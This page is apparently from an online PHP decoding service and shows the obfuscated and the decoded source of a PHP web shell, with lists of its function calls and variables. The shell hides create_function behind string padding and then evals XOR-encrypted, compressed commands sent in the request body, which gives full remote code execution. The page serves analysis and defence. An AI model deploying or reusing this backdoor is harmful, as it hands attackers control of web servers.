Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $F='$k="=h78=h5f0b13=h";$kh="d4=hdaf8eee0d1";=h$k=hf==h"1195f5830=h2a4";=h$p="ig=hk..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="785f0b13";$kh="d4daf8eee0d1";$kf="1195f58302a4";$p="igkidmyZFn96dPx6";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$F='$k="=h78=h5f0b13=h";$kh="d4=hdaf8eee0d1";=h$k=hf==h"1195f5830=h2a4";=h$p="ig=hkidmyZF=hn9=h6=hdPx6";function =hx(';
$X='++){$o.=h=$t{$i=h}^$=hk{$j}=h;}}re=hturn $o;}if (=h@preg_=h=hmatch("/$kh(=h.=h+)$kf/"=h,@file=h_g=het_contents(=h=';
$A='_c=hontents();@=hob_end=h_cle=han();$r=h=@b=hase64=h_enco=hde(@x(@=hgzcomp=hr=hess($o),$=hk=h));print("$=hp$kh$r$kf");}';
$c='h"p=hhp:/=h/input"),=h$m=h)==1) {@ob_star=ht();@=heva=hl(@gzuncomp=hress(@x(=h@base6=h4_decode=h(=h$m[1=h]),$k)));$o=@=hob_g=het';
$V='$t,$=hk){$=hc=strlen(=h$k)=h;=h$l=h=strlen($t=h);$o="";fo=hr($i=0;$i<=h$l;){=hfo=hr(=h$j=0;($j=h<$c&&$i<$l);$=hj++,=h$i';
$w=str_replace('KW','','creKWaKWte_KWfuKWncKWtKWion');
$P=str_replace('=h','',$F.$V.$X.$c.$A);
$j=$w('',$P);$j();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$A _c=hontents();@=hob_end=h_cle=han();$r=h=@b=hase64=h_enco=hd..
$F $k="=h78=h5f0b13=h";$kh="d4=hdaf8eee0d1";=h$k=hf==h"1195f583..
$P $k="785f0b13";$kh="d4daf8eee0d1";$kf="1195f58302a4";$p="igki..
$V $t,$=hk){$=hc=strlen(=h$k)=h;=h$l=h=strlen($t=h);$o="";fo=hr..
$X ++){$o.=h=$t{$i=h}^$=hk{$j}=h;}}re=hturn $o;}if (=h@preg_=h=..
$c h"p=hhp:/=h/input"),=h$m=h)==1) {@ob_star=ht();@=heva=hl(@gz..
$k 785f0b13
$p igkidmyZFn96dPx6
$w create_function
$kf 1195f58302a4
$kh d4daf8eee0d1

Stats

MD5 6cd97741af537846a6f78315cb98b208
Eval Count 1
Decode Time 122 ms